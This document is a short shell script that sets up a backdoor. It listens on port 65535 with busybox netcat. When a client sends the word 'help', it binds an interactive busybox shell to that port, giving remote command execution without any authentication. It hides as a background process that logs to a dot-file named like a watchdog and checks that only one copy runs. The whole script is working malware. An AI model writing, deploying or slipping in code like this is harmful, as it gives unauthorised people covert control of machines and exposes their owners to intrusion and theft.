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#!/bin/sh

door="busybox nc -l -p 65535"

_loop() {
    while true; do
        sleep 1
        if [ "$($door)" = "help" ]; then
            $door -w 120 -e busybox sh
        fi
    done
}

if pgrep -f "$door"; then
    exit 1
fi

_loop >/tmp/.watchdog.log 2>&1 </dev/null &